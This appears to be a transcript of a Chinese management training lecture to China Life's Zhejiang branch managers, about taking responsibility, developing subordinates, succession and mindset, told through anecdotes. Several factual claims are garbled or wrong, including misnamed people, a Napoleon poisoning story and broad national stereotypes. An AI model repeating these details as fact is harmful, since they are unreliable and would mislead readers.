我拿国家来举例,你听过以色列吗?一定听过,但是你可能没有去?以色列我去过,那是一个像宁夏的地方,我不管你有否去过宁夏,你一听到宁夏会想起什么?那么就是以色列,其实以色列到处是荒山,没有多少树木,国家什么资源都没有。北边是敌人,约旦跟叙利亚,东北边也是敌人,黎巴嫩,东边还是敌人,伊拉克,东南还是敌人,沙特阿拉伯,南边又是敌人,埃及,左边是地中海,结果他活下去了,为什么?以色列说我是个响尾蛇,任何人想要吃我,不管狮子,老虎,豹子,它一咬我就咬它的腿,大家都不要活。所以伊拉克常常说,小心那条响尾蛇。大家都不要活,谁吃我,我就咬他的腿。那么以色列活到现在,以色列比中华人民共和国还大一岁,公元1948年建国的,我们中国是1949年,人家活到今天,而且还像宁夏的地方。看看我们江苏浙江,看看我们的安徽,江西,看看湖南湖北,这些地方对以色列来讲不要太好了。上海人来讲,不要特好,对不对?所以在这个情况之下,人家活下来,人家羡慕死了我们有个江苏。你把太湖送给以色列,他要笑死,把西湖送给他,他要笑得睡不着。人家活下来了,你还有什么好检讨呢?我们中国人在以色列面前,是不能够有任何埋怨的,而对这种国家中国人要咽下全部泪水,因为人家像宁夏一样都活到今天。所以真正的原因是你自己,不要常常看你的办公室,不要常常看你的人手,你的管区。会做事的到哪里都会做了,不会做生意的就是给他上海,他也没办法做,也是在外滩蹲在那里哭。会做生意的就是卖得全乌鲁木齐都知道他,每天穿一个红上衣蓝裤子,乌鲁木齐全都认识他了。这个就叫做会不会做事情,所以最重要的是把你的责任挑起来,不要常常检讨你的手下,一动就检讨你的管区,一动就检讨你的办公室,这个就是承担责任。

让我们拿一个家讲的话出来看一下吧!这个人是中国人,现在是英特尔中国地区总经理,他的名字叫杨旭。大家站的比较远,看不大清楚,有一句话念一下好了。杨旭谈中国员工和美国员工的区别。杨旭是中国人,后来到美国去读书,就像我这样子,在美国英特尔,又当到了经理,后来被美国派回中国上海,当中国英特尔总经理,所以这个人是中美两种人通通都带过了。你看他讲句什么话,这一点中国跟美国的员工区别是很大的,美国的员工做事情,非常的自觉和主动,只要在他的职责范围之内,他一定会主动去做,而不是当一天和尚撞一天钟。这句话如果是老外讲的,你还会说,看不起中国人。这是我们中国人自己讲的。因为杨旭是中国人,又去美国待过,又在上海,现在领导中国干部,在英特尔公司,他说中国员工跟美国员工是区别很大的。美国员工做事情非常的自觉,而不是当天和尚撞一天钟。这样的话,我们要承认。
毛病二:没有能启发工作人员

我们来看第二个管理者常犯的毛病。管理者第二个常常犯的毛病是没有能启发工作人员。工作人员要靠自己启发。因为任何优秀的管理人,离开办公室一天,都不会引发混乱。我在台湾长大,以后到欧美去了。所以台湾的规定,男孩子一定要当兵。但是我的研究生是在美国念的,博士后是在英国,所以我必须在当完兵才能出国,在我大学毕业以后就是当兵了。台湾规定是先当3个月的训练新兵,把我们送到台中成功岭基地去熟练,3个月以后就把我分发到陆军野战师。那时候因为台湾的大学生比较少,所以我们就是干少尉排长。当我的少尉排长一挂起来,进到师部,师长就等于是我的父亲和我的哥哥一样。我如果爬墙出去开小差,我如果暴行犯上,用拳头打了我的连长,我如果到街上去抢人家的东西,我不是判3年以下,就是抢毙。因为军人抢劫就是死刑,我的师长就可能要连带受过,不是记警告,记小过,就是大过。那个新兵训练部主任要不要记过?不记,为什么?因为这个兵已经训练完了,发给你了。

现在把话讲回来,中国人寿浙江分公司如果用的人不好,是不是人力资源部的错,其实不是,人力资源部门已经做过筛选,把这个人找来,经过一些简单的培训,就发交给你,你就是他们的父亲和母亲,你就是他的父亲和母亲,你就是他的哥哥和姐姐,你还有什么话好说,这是人力资源的错?所以我们的结论,人力资源的责任最多30%,各位主管,你们的责任70%。因为兵是你的,这个手下是你在带的。因此,是你要去启发你的手下,不是人力资源部门。

一个优秀的经理人,有没有启发部属,只要看他出去的时候是什么心态就可以看得出来。自从发明手机以后,大家变得非常的忙碌,我在想,这个手机发明对还是不对?事情没有办好就冲出去了。自从有了手机以后,大家都不把事情办得很好,反正出去可以打,吃饭可以打,走在路上可以打,坐在车上可以打。我有一次在四星级大酒店上厕所,听到里面蹲着一个人,还在那里打。你看看大家忙得什么样子。可是话得说回来,各位我给你个建议,你挑一天早上,把你的手机打开,手上随时拿一张纸,一响了或者你自己打,统统让下来,这是为了什么?然后到晚上睡觉的时候检讨一下,这几通手机哪些是可以避免的,哪些是无聊的,哪些是没有意义的,哪些是多管闲事的?看看,你会发现很多手机是不用的。我有次坐飞机到上海,那个飞机一碰到虹桥机场的跑道,我那个后面的手机就响了,隔我二三个后面的手机响了,没想到,那个拿起手机说到了,到了!我以为***坐在后面?有这么伟大吗?轮子一碰到跑道,到了!到了!有这个必要吗?

为什么你一出去就不得了呢?就是因为平常没有启发好,所以真正启发好了,是不用这样做的。我讲一个我在美国的经验,我在纽约当副总的时候,有一天晚上,我忍不住打电话给我一个美国干部。结果没有想到我讲完我的问题他没有答复,先反问了我一句,余先生,这个问题很重要吗?我说,可以说有点重要。需要现在马上答复吗?当然,明天早上也是可以。谢谢,那就明天早上,电话就放下了。第二天他跑过来了,世维!在美国都是叫名字的,当他叫余先生的时候就是有一点点不大愉快,当老美叫MR什么什么就不太愉快了,当他叫你的头衔,亲爱的总经理那就更不太愉快了。他说,世维,昨天晚上你打电话打到我家,我正在做爱。我不知道他是真是假,反正他故意这样子讲,忙得很,以后没有事情,尽量不要吵我!尽量不要吵我!你知道的,世维,男人一冷却就完了!讲得我不晓得怎么办好!从此,我不再晚上打电话给他。后来我才发现,我的干部一下班,统统就把手机绑起来,放下走了,意思就是说不要吵我。因为手机是公司买的,我一离开公司就跟公司一刀两断,因此我该做的全部做完了,我负起责任。真正发生厂方事故,有人死了再打没有话讲,一点点小事就打,你看看我们多可怜,为了表示全天候待命,每个手机不但统统开机,睡觉也保持开机状态,半夜醒来,看看有没有手机信号,再继续睡。那么请问,又做了多少生意呢?浙江这一带的客户对你又有多满意呢?这个手机替中国人寿创造了多少效益呢?你检讨看看,其实有时没有你想象那个样子。所以,这是一种心态。

那么我们对部下要怎么办?首先先看这个心态是怎么造成的?主管觉得处处少不了他们,这只是一咱心态。你如果把底下的人启发好了,你就不会犯这个毛病。我们的孩子如果到北京去读书,小丽啊!晚上睡觉就一定要盖棉被。妈:我知道!如果天气不是很凉要盖着肚子啊!啊!妈,我知道啊!而且一定要盖着肚脐啊!妈:你烦不烦!你知道这个道理吗?因为妈妈永远觉得孩子少不了她,对不对?我到了美国发现,美国的妈妈是根本不管的。小孩子一出去,就像鸽子飞出了笼子,就看着办。所以中国的妈妈对小孩管得太多了,但是在家庭里也就罢了,但是中国人寿就不要犯这个毛病,一天到晚管!当然你可能跟我说,这一不管就失控。我很想知道你平时教育他了吗?如果真的教育了他,他会失控吗?很简单,我这个老大在法国巴黎大学,我从来不管他,他自己看着办。他那老二在念交大,我也不管她,自己看着办,因为小的时候都培养好了,长大以后像一棵树一样。

教育一个干部是这样,难道我下面的还少吗?我管9千人难道少吗?在中国大陆,我的手机很少响,家里面146个干部,我的手机如果一响,我一听到是他们,我会说这事情真的非要麻烦我吗?他们通常就不敢麻烦我,因为这是一个概念,把它教起来,这是个概念,讲这个概念以前,我先把这个问题作一个结束。中国的主管和被管的人彼此都要负一半的责任,我们在上面做主管的有一个毛病,就喜欢人家凡事都要向他请示,我们做底下的也有一个毛病,叫做凡事都喜欢请示上面。结果就引成这个问题。所以大家都觉得处处少不了我,对不对?好,我马上拿两个经验来讲一讲。

第一个经验是我在日本航空的经验,但是我先拿一个别的公司来讲。泰国旁边有个都市叫做吴西,吴西那边有个大公司叫做日本东芝。那个公司总经理62岁,当然他去年调回去了,每天早晨端杯咖啡,从三楼喝到一楼,一楼喝到三楼,因为他在三楼,然后再看2份报纸,就吃中饭了,你会不会说他这个人游手好闲。不是的,因为以我对日本的了解,他们不是这个意思,他们的观念是这样子。在日本公司里面,他们做事情,通常是尽量自己先解决,万不得已再冲进去请教主管,怕主管会笑他无能。所以他们是这样表现的,如果真的不会,他们就会去敲门啊!里面会说,进来啊!林木科长,这个事情我想了很久很久都想不出来。你教教我吧!你猜那个科长会怎么讲?拿过来吧,浓胞!这事情应该怎么做!怎么做……当他给他的时候会给他讲句不好听的话,拿去吧!我在你的年纪,不常常麻烦主管的!谢谢!实在对不起!出去以后再也不进来了,所以,他们都尽量的不麻烦主管。所以今天,人家可以喝咖啡,有一天你们舒副总端一个咖啡,在楼里逛来逛去,你们也可以说,啊哟!老总,你也端个咖啡在这里喝,今天轮到我了,我在你这个年纪是不常麻烦你的主管的!对不对?如果每个都有这种想法,主管会忙吗?他当然喝咖啡啊!因为现在东芝那个总经理在30岁时拼着命干,40岁的时候忙到半夜,今天人家可以喝咖啡。

再一个主管不要觉得处处不了我,应该说,他到现在都来找我是为了什么?一天到晚敲门是为了什么?其实我们不敲单总的门是对的。不相信我们去开单总一个小玩笑,统统不要进去,今天一个都不进去!单总坐在里面奇怪,今天怎么一个都没有进来?他就会出去看一下,太奇怪了,不是都在吗?其实这是正确的。单总说,终于良心发现,都没有求我,我就忙他的了。他就有时间,就有时间写情书了。就是这个道理,但是你一动就冲去,一动就敲……他的秘书还说,单总,外面还有12个在排队,单总就晕过去了,还有12个在排队,其实那样做是错误的。一动就请示主管是错的,主管不要觉得处处少不了他。

第2个是美国的例子,那时候我在美国做化妆品,就是我刚才讲的亚斯特兰戴。因为美国亚斯兰戴跟我们技术合作,我在里面当副总,总经理是一个老美。有一天,我那个调色师在调口红,我那个调色师是个女的,她调了个口红的颜色。我刚到美国的时候,也是常常犯中国人的毛病。做主管嘛,总喜欢大事小事都管,后来才发现这句话是错的,我等下来解释,我们中国有句口号,为什么听起来不太正确。我那调色师在调口红的时候,我在旁边也轻描淡写的不经意的问了一句,这红色好看吗?嗯,那个美国调色师就站起来了,余先生,这个颜色还没有完全定案,所以你现在不必慌张。我定案以后一定会给你看的。你放心,你是最后裁决要不要用这个颜色的人。还有,余先生,我是调色师,我自认为这个东西是我的专业,如果你觉得你调得比我好,下个礼拜开始你调。第三,余先生,这个口红,是给女人用的,听说你是个男人,如果这个口红你喜欢,美国女人都不喜欢,完蛋了,美国女人都喜欢,你不喜欢,没有关系!Sorry! Sorry! I’m sorry!这就是我在美国人家对我的教育。她讲的有道理,罗不需要去管这个事情,我不需要去做,你记得前面杨旭讲的一句话吗?美国人在他职责范围之内,必定会主动去做的,所以你不需要去关心这些事情。所以,后来我就养成了一个习惯,在德国,在日本,在美国,我从来不太过问底下人的事情,除非他超过了我的框架,超越了我的规定,违反了公司的政策,否则的话,我是不需要担心到这种程度的。

现在我们来讲一个在大陆上常常讲的一个概念。中国大陆概念叫做一把抓,中央讲这句话并没有错,但是地方上面把它体现的不太正确,我们中央领导说要一把抓意思是watch every thing,一把抓的意思是紧盯每一件事情,不是叫你跳下去做,不是叫你凡事干预,不是叫你越俎代庖,这个叫做一把抓。所谓一把抓的是紧盯每一件事情,不要失控,不是叫你跳下去做,但是只要是兵好,你自己可以藏在后面。我为什么故意要讲藏呢?

我讲个简单的道理。在中国一讲到海尔,你会想起谁?张瑞敏。在中国讲到中国联想,你会想起谁?杨元庆和柳传志。在中国讲到华为,你会想起谁?那个解放军下来的陈生培。所以这些伟大的领导,这些名字常常挂在上面。我到陕西西安,朝那个玉香门冲进去,看那大楼上面写了个牌子,陕西电器集团向你问好!总经理某某某向你鞠躬。你知道这种文化,这种习惯,在外国是没有的吧!你知道摩托罗中国总经理叫什么名字?你知道西门子老外叫什么名字?你知道麦当劳上海老总叫什么名字?没有人在乎,无所谓。你大概不知道,柯达那个总经理去年死在上海,他们也无所谓,我还参加了他们的追悼会。马上换一个吗?报销了就换一个吗?总经理是竞争上任,他不是凡事都讲他的名字,如果大家统统都要把张瑞敏的名字挂起来,这个张瑞敏就最好不要离开海尔,他离开海尔,海尔就跨了。

我们中国人这样子做事情是很危险的,一动就要把总经理挂出来,结果呢,弄成一把抓。凡事他在掌控,对他来讲很不公平,你要活活把他累死;对员工来讲也很不公平,我们一直讲张瑞敏,那底下12000个山东人,青岛人,在干什么呢?难道张瑞敏他一个人做成电冰箱,他一个人做出冰柜,他一个人做出空调。这种观念就是大家都眼睁睁看着总经理,让总经理觉得处处少不了他,其实这个观念是应该要慢慢调整的。北京当局叫我们一把抓,没有抓成这个样子。如果抓成这个样子,那中国大江南北统统看总经理了。那么我请问,这么多外企在上海,在杭州,人家为什么无所谓?这个观念我们要常常去思考一下。

结论就是你自己没有训练。为什么没有去训练呢?那么我有个启示,教育我们的部下,四句话,那就是:随时、随地、随人、随事的教育。我在读大学的时候,有一次我在图书馆做功课,我在这里做功课的时候呢?我有个同学,他在旁边睡觉。我在那里坐着坐着,我们教授走过来了。他看看我同学,看看我,问了一句话:国父孙中山先生在他的遗嘱里面说了句什么?孙中山在台湾叫做国你。因为孙中山推翻满清,建立中华民国,所以我们就尊称他为国父。尽管他不是中华人民共和国的国父,但至少海峡两岸都承认他是非常伟大的。国父遗嘱只有100多个字,我们在读小学都要背的,所以得很熟的。教授一问,我就站起来,孙先生说要唤起民众。我们教授马上说,你连同学都不能唤醒,还唤起民众!你连同学都不能唤起,我同学在旁边睡觉。有道理。

所以你不要常常说,啊呀!我们是不是要搞一天培训啊!把干部统统集合起来,把后下统统集合起来,我跟他们讲讲什么叫做礼节,什么叫做国际餐厅礼仪啊!恩,我们要不要把餐厅的同仁都集合起来,讲一下我们的工作目标和价值观呢!我请问你,你有多少时间?所以我们难得有这机会,把浙江省这么多地市和这么多浙江省本部、浙江省分公司的集合在一起,大家讲讲话。这种机会一年有几次,太少了。其实教育是随时,随地,随人,随事的教育。我拿我自己举个例子。

这个笔迹是我写的,但是这个信封却不是我写的,样子不是我写的,笔迹是我的笔迹。因为我要讲一个例子,我们中国写信,本来信封就是直式的,明朝,清朝就是这样。大陆现在统统改为横式的,这个不重要,重要的是他犯了很多毛病。我有天正好要出去,从柜台走过,正好瞄了一眼,我柜台的小姐在写个信封,就是写成这样,我一看,就把我的包放下,统统过来,统统过来,我讲一下,信封的写法。那个小姐的后面就是我的文书组,我们公司的不锈钢厂,世界第四位,总钢量台湾第二名,做这种事,写这种信封也不怕人家笑。我就马上给他们讲信封的写法。这个里面第一个错误,就是台北市的台,高雄市的高,位置都超过了王总经理的王。按照中国的规定,王总经理的王,必须是最高。他这个王字在这里是最高的,第二个字是台,第三个是高,按照这样的顺序写。第二点,王总经理的总经理三个字,小姐写成小姐,小写就是不配当总经理。把人家的名字居然写成大写,这个地方要小写。中国人讲名讳,我要避讳你的名,所以碰到人家的名字才要小写,所以王总经理四个字的要一样大。客启两个字要小一点。敬启是错的,写信不能写敬启,敬启是恭敬地打开,请你收到我的信恭敬地打开。我凭什么要恭敬地打开你的信,写信给别人要写台启,君启,写信给爸爸妈妈,祖父,祖母要写安启,这个是一个起码的规定。所以,疏忽,马上教育,我当场就马上讲,讲完之后我就下去了。在旁也围着听我讲话的,快要到3-4个人,这就是一个小小的教育。我有时间开会吗,等到会议室再去讲?来不及了。随时,随地,随人,随事的教育。

但是就有人没有注意到,我拿给你看,我在成都住过一个酒店,他们写了封信给我。这个是成都黄河大酒店写给我的信,你看按照我们的写法,左上角如果是你的地址,那么右下角就不应该是你的地址,这个两边都被你霸占。所以按照西洋的规矩,对方自己的地址如果在左上角,对方就是右下角。中国大陆怎么不去管它,至少我告诉你是没有人在上面底下,统统写自己的地址和自己的Mark。结果把我这个余世维先生收的3个字缩小了,表示不配当先生,而且还括号,表示有没有叫他都无所谓。你认为他有必要把先生收三个字括起来吗?我懒得打电话去问他这是怎么回事?但是我不怪那个小姐,假如说是那个小姐打的,我要怪那个主管,甚至怪那个公司人力资源部门,因为这种事情一看就知道缺少训练,这样的信封也寄出去。如果你说这是个小事,小事,你知道成都王朝大酒店一年要发几封信吗?他们从成立到现在发了几封信?一万多封你知道吗?既然是发了一万多封,这还是个小事吗?全中国都知道他的信封是这样写的,算是小事吗?我看是大事。我看一个公司就是从细节看起,这就是细节,就是没有注意到。可是你跟我讲,这是谁的责任?如果像我这样,一看,啊!怎么这样子的?统统过来,统统赤来,我讲讲信封的写法,不是一下子就教育出来了吗?

那么请问,人家外国人是不是这样子的?也是的。我讲一个外国的道理给你听。我有次在德国出差,跟一个德国人从莱茵河旁边走过去,正好有个小孩在那边钓鱼。这个小孩两根钓竿,德国人规定钓鱼,一人只有一根钓竿。其实,中国人早就讲过这个道理,我们的孟子说,勿竭泽而鱼,一个人不要把河里、池塘的鱼钓光了,免得以后的人没有鱼吃。有道理,两千多年前,我们中国的孟子就懂这个道理。并不是德国人才懂,结果他一看这小孩的两根钓竿,他就走过去了。你怎么两根钓竿?小孩马上说,我只有一根,另外一根是我朋友的。你朋友到哪里去了?那个小孩大概小学五六年级。他去上洗手间。说着说着,那个小孩就走过来了。德国人一看,嗯!一人一根钓竿很好。有执照吗?德国人钓鱼要有执照的。因为钓鱼,要先学习怎么钓?你把鱼钓起来,它很痛你知道吗?你很爽它很痛。不要乱钓吗?钩得它都发火了,对不对?所以你要知道怎么弄这个鱼?不要虐待鱼吗?他们规定要有执照,很好。后来,他又问,有带尺吗?在德国钓鱼不带尺,就好象打高尔夫球没有带球杆一样。小孩说有!有!他们规定是7寸以下放回河里,7寸以上可以放在竹箩里。嗯,很好!结果那个德国人就对我说,走!我就忍不住地问,那么巧,碰到你儿子了?不是?你朋友的小孩?不认识,不认识?》接着他就讲:余先生,在德国,每个小孩都是我的子女。你如果在杭州西湖碰到这样的情况,你会这样讲吗?在杭州、在浙江任何小孩的都是我的子女,我们中国就不得了的。这就叫随时随地的教育,碰到不对就马上讲,我管你是谁家的小孩,错了就是错了,我替你父母管教你。但是其实呢,那两个小孩没有错,只是他特别热心去检查一下,有没有正确的操作。你说这种心态我们有吗?通常没有,更不要说是对自己公司的人。连路人都做不到,就不会想到自己公司的人。因为对公司的,还会更不好意思。

那么来看另外的事情。结论呢,我们来看第四句话:一个主管,调职、退休、死亡,都不应该使公司瘫痪。换句话说,最终的事情是培养你的接班人。邓小平先生在快去逝之前,所作的最重要的事情,是培养中国的接班人。我们知道后来***先生上来了。明年要开始十六大,可能江主席也要下来了,他现在也开始积极培养中国的接班。当然我们猜得不错,应该说是胡锦涛。因为他现在出访俄罗斯,在世界外交界一看,就知道这是个讯号,表示胡锦涛是中国未来的接班人。把这个观念倒回来,我们中国人寿,每个主管要做的事情,就是把你的接班人随时准备好。今天我们单总所做的事情也是要培养他的接班人,有一天,可能单总会调到更高的职位去,请问,这个浙江分公司要谁代理呢?那么,有一天温州分公司的一个经理要调回去当副总,那么温州要谁代理?对不对?这个道理就是说明,你对公司要负起责任,就是要把你的接班人先培养好。如果你的接班人培养好了,就会变成这个。假如有一天,舒副总就会端了一杯咖啡,在单总门口晃来晃去。单总会说,老舒有事吗?没有事,接班人已经找好了,我在等你这位子。那单总会说,那我到哪里去?你到上面再去挤别人嘛,接班人找好了,所以各位,你难怪没有升起来,就是因为没有接班人。

有一个理由,单总譬如说,我之所以没有升你,是因为接班人没有找好。沉明杰,我之所以没有升你,是因为接班人没有找好。所以,沉明杰要赶快把接班人找好,这样子,他就有升的理由了,因为单总会说,你走了谁干?其实每个人都要把他的接班人找好,你看看美国总统,他们无所谓,你看看肯尼迪被刺杀的时候,那个詹姆逊马上继任了。就是这个道理。一个国家如果有制度,一个社会如果有制度,一个企业如果有制度,那么任何人调动,退休,死亡,公司都不会瘫痪。

我们看一个图片,这个图片上所照出来的人是美国总统小布什么。你看他的权力多大,一个人走上这个梯子,那个飞机一看就知道是空军一号,他的空军专机,这个图片给我们的感觉,就是美国总统也不过是一个人,他们其实完全靠制度。你记得小布什跟戈尔两个人在竞选的时候,开票开不出来吗?我请问,美国这个国家很混乱吗?后来,美国联邦最高法院,判决是小布什,戈尔马上跟他道喜。请问有不愿意吗?还有小布什是新的总统,戈尔有不心甘情愿吗?这就证明,这样的一个选举,完全是按照制度,所以,讲句开玩笑的话,美国总统选举就是半看开不出票来,也无所谓。美国的国家,还是一个强大的国宝,因为他们是完全按照制度做事。

我投影这张图片的意思就是这样。真正做一个领袖,和做一个领导,是一切都按照制度,谁立即上来接班都不重要,谁能够替代谁也是按照规定。所以单总随时可以离开,舒总,祝总随时可以离开,每个地市分公司的经理随时都可以调走,如果你真的把那个地方做得很好。对不对?湖州经理随时调,如果你给单总讲,单总,金华这个地方谁来干都可以,我随时都可以,因为一切都制度化了。单总就会说,厉害,这种经理就是厉害。这个就是我所讲的,随时可以移动。如果人一动就不得了,就表示你是用人在管,你是用人事在笼络你底下的弟兄,你一不见了,就不得了,换了个新人就是没有办法。其实这样做是错的。

那么我们来看看是不是我们祖先不懂这个道理,我们用这个话作结论。魏征是唐太宗下面有名的大臣,他写篇文章,叫做《谏太宗时事书》,我们把他的话简单地看一下。唐朝距离今天1400年,我们中国祖先就懂这个道理。皇上你如果把我讲的十件事情统统都注意一下,那么文官跟武官大家就都会努力地表现,皇上跟臣子就统统相安无事,大家都可以天天游山玩水,每个人都可以活得很久,没事就弹弹琴,聊聊天,人员就自然而然的教化,何必大伤脑筋,替他们做事,让那些聪明的耳目没有办法发挥功效,这其实是无为的道理。魏征《谏太宗时事书》1400年前,魏征对唐太宗就这样讲话。实际,这个道理不是只有老外晓得的,中国在大唐盛世的时候,欧洲是一片黑暗,就中国的祖先是了不起的,中国的深远而悠久的,是我们后代子孙要检讨,祖先留下来的智能都没有好好去发挥,真正的道理在这里。世界各国到现在尊称我们为唐人,有中国人的地方叫唐人街,就是有大唐盛世,有像李世民、武则天这种皇帝。所以我们中国的唐朝是伟大的,这种思想我们很早就有,做到最后就越来越专制,越来越集权。到后来就统统没有理会、栽培底下人。

毛病三:只重结果,忽视思想

我们来看,第三个管理者常常犯的毛病。管理者第三个常常犯的毛病,是只重结果,忽视思想。有的主管常常喜欢讲一句话,听起来好酷啊!但是想想看又不是很有道理。这个酷是大家常常用的俗话,啊呀,这个人好酷啊!什么事情讲起来好酷啊!销售的都非常喜欢讲这句话。在销售里只要是干到销售经理或销售总监,都喜欢这样讲这个销售代理。不要一天到晚跟我讲这么多理由,我只问结果,上面要的是业绩,指针。其实你大概忘记了一件事情,一个人如果没有思想,是不会有那种结果的,不可能的。

我讲两件小事就知道了,思想和结果的重要。这个酒店你们在这里住不错吧!我今天是第二次走进这个房间的大门,我前天晚上就来过了,陈经理陪我来的。当我来的时候,这个开这个门的时候,那个服务员对了半天的锁,开不开,这就证明她对这个钥匙搞不清楚。今天早上是我第二次进这个门,那个服务员又在那里搞,搞了半天,搞不出来。这就证明,一把钥匙和一个门都要搞成这个样子,我猜,如果你不跟她讲这个事情,她会一直用这个方法开到这个大楼崩坏,公司关门。每次都是一只一只地试,这就叫根本没有那种思想。如果这个酒店是德国人开的,如果做这个事情的是德国人,我相信绝对不会是这样。为什么?德国人做事情非常有效率。一根针掉在地上,怎么找?德国人与我们的找法不大一样?他们什么东西都会想方法,一根针掉在地上,就画一个井字,每个地方找一次,就找到了,我们是一直摸,啊呀扎到了,扎到手就找到了,根本没有效率。

我住在离你们不远,西湖国宾馆,当时基辛格跟***都住过的土方,应该是很棒吧!我那个洗澡的地方,往左是热,往右是凉的。我那个洗脸的是往右是热的,往左是凉的。还好,我这个人做事很谨慎,事先试过。否则那个莲蓬一开,我就要惨叫,不是冻死,就是烫死,对不对?因为我没有想到,它们两个方向不一样。我不晓得,当时*主席住的是哪一间?有没有被烫过,我不大清楚。西湖国宾馆这种国家级的宾馆犯这种错误。你给我讲,我应该要怪谁呢?我没有办法怪,因为没有那种思想,是不会有那种结果的。

你们都晓得,江浙这一带请个人到家里面来帮忙,叫做娘姨,现在称为阿姨。如果你跟你阿姨是这样讲话,你看是怎么讲的?那个小胡啊!桌子底下那个鱼骨头把它扫一下;小胡,先生今天的那个衣服洗下,尤其要把它烫出来;先生明天开会要空,小胡啊!如果你是这样讲,你是一个二流的主人,你那个阿姨是个三流的阿姨。一流的不是这样做的,解决这个问题很简单,找一个有洁癖的就解决了吗。如果一个人有洁癖,就统统的不用讲,而且是你怕他,不是他怕你。太太我给你讲过几次,大衣脱了不要摆在沙发上;先生,抽烟的时候不要走,你看你烟灰又掉在地上。以后太太一回家,一脱大衣,衣架就拿在手上,先生一掏烟,他的烟灰缸就端出来了。碰到这种阿姨当然什么话都不要讲,其实我讲的是我的阿姨。

我在上海松江请了一个阿姨,她对我很少讲话。每次一开口就是要花钱的时候了,因为什么事情都不用讲,她做的清清楚楚,三年前我用她,我对她说:小胡啊,我的那个皮鞋擦一下,她说晓得了!后来吃早饭的时候我又讲了一遍,小胡不要忘了擦那个皮鞋哦,晓得了。后来我又忍不住说了一遍,小胡皮鞋擦了没有?她终于忍不住说了一句话,先生,以后你给我讲话只要讲一遍,我什么时候需要讲两遍的时候你骂我!对不起,小胡。从今以后跟她讲话就是一遍!这种人太可惜了,因为没有受过太高的教育,否则是个总经理的人才。你跟我讲话只要讲一遍,太厉害了。所以,我用佣人,其实是挑过的,我宁愿挑一个有洁癖的,从今以后都不要讲话。她一说话就是钞票、钞票,要发工资了,其它的统统都不要讲,爽死了,用这样的阿姨。一天到晚,小胡啊!衣服烫了没有?地擦了没有?是我像佣人还是他像佣人,谁在当阿姨啊,搞不清楚了?所以用就用有洁癖的人。就是因为有那种思想,就会有那种结果。偏偏我们主管犯的毛病就是只重结果忽视思想。原来一个人没有那种思想,是不会有那种结果的。

我们举一个例子,成功与不成功的人有个很大的区别。所以我们在座的有些年纪比较轻的,实在是很好,我非常羡慕你们。一个人越早养成一个习惯越好,将来成功的机会就越大。像到了我这样年纪再来研究这种问题,真的是太晚了。你看我今年54岁,下午2点或3点,我爸下午7点,我们这个房间里边,大概是上午十一点,十二点,有的人搞不好还是上午十点,所以越早知道越好。成功与不成功,真正的差别,在成功的人很早就养成成功的方法,所以他一直是成功的。以后不要常常教你的小孩看伟人传记,中国有这么多人读过《毛泽东传》,又有几个像毛主席呢?因为他那种思想你做不到,就这么简单。

我那个老大,她在读初中的时候,有天在读《拿破仑传》我正好在她的旁边,看了一下,这个是拿破仑,我就对她说,她已读了100多页。我说:拿破仑传只要读6页就可以了。爸,这是什么意思啊!我就讲话了,《拿破仑传》在写到第6页的时候,写到一个他在小时候的故事,拿破仑是从小在科西嘉岛长大的,所以他在科西嘉念的小学,拿破仑在念小学的时候,有一天跟一个六年级的打架,这一打,眼睛都打黑了,但是上课铃响了,拿破仑就进教室了,下课又冲去打一场,原来黑一个,后来黑两个,变成熊猫了。后来上课铃又响了,到了中午,又下课了,他又冲出去,那个六年纪的家伙,还没出教室,就看到门口站着一个熊猫,嘴角还带着点血,这家伙一出去,拿破仑就冲上去,准备干第三架,那个就马上叫,慢慢““““`小伙子你今天到底打算怎么样?拿破仑了只讲一句话,你除非跟我道歉,我今天准备打到死!sorry,I am sorry。拿破仑就说,你早说不就没事了嘛!他就走了,早说就没事了,这个就是他成功的道理。写到一二百页的时候,正好写到他的爱人约色芬,那个有什么用啊!你去搞三个约色芬也不会变成拿破仑。所以拿破仑的成功不是因为有了爱人约色芬。是他在读小学的时候就有这么毅力,所以,以后在埃及当了中尉,回到法兰西去当皇帝,靠的就是这股毅力。后来一场盟军大战,把他给抓起来了,关到阿尔巴岛。结果他又逃出来。又打了一场滑铁卢,又被抓起来,关在圣河特那岛。英国人就用砒霜毒死了他。说这个家伙活下来,迟早是个祸害。所以,拿破仑的遗体送回法国的时候,法国检验他的头发,里面含有氯化钾。这就证明是被英国人毒死的,这就是拿破仑厉害的地方。所以拿破仑今天成为男人中的男人,就因为这个观念。真正厉害的是这种思想。

民国早先在黄浦滩上有个大流氓,黑社会老大叫黄金荣。黄金荣有一年过年,发赏钱给底下的小个小弟兄。其中有个小弟兄拿了赏钱,谢谢,黄大爷,就冲出去了。黄金荣马上说出去看看,小赤佬到哪里去了?没想到他很快坐摆渡,跑到陆家嘴,上了那个地方以后就一直往前跑,到现在金桥那个地方,把黄老板给他的赏钱又拿出来,给底下的小弟兄,更小的小弟兄,他家乡的小弟兄。没有多久,那人回来跟黄老板报告了,说老板,这小子跑回家了,他把赏钱又赏给底下的小弟兄。黄金荣叹了口气,啊!我怕我死以后这个上海黄浦滩就是他的了,那个人姓杜,叫杜月笙,17岁,拿到黄金荣的赏钱,冲回金桥,给他的弟兄。杜月笙是金桥那边的人。果然不错,黄金荣死后,黄埔滩是他的,十六埔的老大就是杜月笙。以后跟蒋介石变为拜把兄弟,跟陈英士都有往来,跟陈果夫都有往来。你想想看是什么道理?就因为17岁把钱拿来再给底下的人。这叫做思想,有这种思想,才会有那种结果。下次中国人寿如果发奖金,你把钱掏出来,弟兄们集合,单总会怎么想,我怕中国人寿就是他的了。

刚才讲的思想里面,我们来看第二段,思想实际是在启发,不是在教条。那我们从小所受的教育,就是教条式的。举个例子,你像中国人寿浙江分公司,一定有很多法律和规章,公司写的都是一本一本的,请问,为什么有时候,他不是想象的那么有用?就是因为没有那种思想,什么都没有用。你像中华人民共和国一定有部宪法,叫做《中华人民共和国宪法》。有些人可能不太清楚,英国人连宪法都没有。英国是个没有宪法的国家,你能说英国是个很差的国家吗?世界五大强国之一,这个证明有没有宪法不是国家强不强大主要的原因,公司没有人事规章,也不是主要的原因。你们的规定我看了一下,这次办培训会写的那个非常得好,一条条写得真的非常好。可是如果一个人的思想真的到了这个地步,以后开会的时候就不用写成这个样子了,一个通知下去,所有守规矩的统统按照这样办,这就叫这个思想已经具备了,否则的话,每一次都要写成这样。

